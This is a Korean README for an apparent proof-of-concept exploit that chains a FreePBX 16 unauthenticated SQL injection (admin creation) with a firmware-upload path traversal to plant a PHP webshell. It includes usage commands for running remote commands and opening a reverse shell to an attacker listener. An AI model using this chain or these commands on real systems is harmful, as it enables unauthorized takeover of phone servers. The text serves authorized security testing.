FreePBX 16 — 인증되지 않은 SQLi에서 RCE까지

두 가지 FreePBX 취약점을 연결하여 FreePBX 16에서 제로 액세스에서 원격 코드 실행으로 이어지는 개념 증명 익스플로잇입니다.

작동 방식

1. 관리자 생성 (CVE-2025-57819) — 인증 없이 접근 가능한 스택 SQL 인젝션을 통해 네임스페이스 엔드포인트 로더를 사용하여 새로운 전체 액세스 관리자를 ampusers 테이블에 직접 INSERT합니다.
2. 인증 — PoC가 새로 생성된 사용자로 관리자 패널에 로그인합니다.
3. 웹쉘 배포 (CVE-2025-61678) — 엔드포인트 매니저 펌웨어 업로드 핸들러가 fwbrand에서 ../../../var/www/html/<dir> 경로 탐색으로 악용되어 PHP 웹쉘을 웹 루트에 작성합니다.
4. 실행 — 단일 명령을 실행하거나 대화형 리버스 셸을 수신합니다.

영향을 받는 버전

FreePBX 16 (16.0.92 이전의 엔드포인트 모듈). 또한 17.0.6에서 패치됨. 수정된 릴리스로 업데이트하세요.

사용법

# 단일 명령
python3 exploit.py --rhost pbx.example.com --command "id"

# 대화형 리버스 셸 (pwntools를 통한 자동 리스너)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# 일반 HTTP / 사용자 지정 포트
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

옵션

요구 사항

pip install requests pwntools

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 작성자는 오용에 대해 책임을 지지 않습니다.

키워드

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · 인증되지 않은 SQL 인젝션 · 스택 쿼리 인젝션 · 엔드포인트 모듈 · 엔드포인트 매니저 · 인증된 파일 업로드 · 경로 탐색 · 원격 코드 실행 · RCE · PoC · 익스플로잇 · VoIP 보안

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb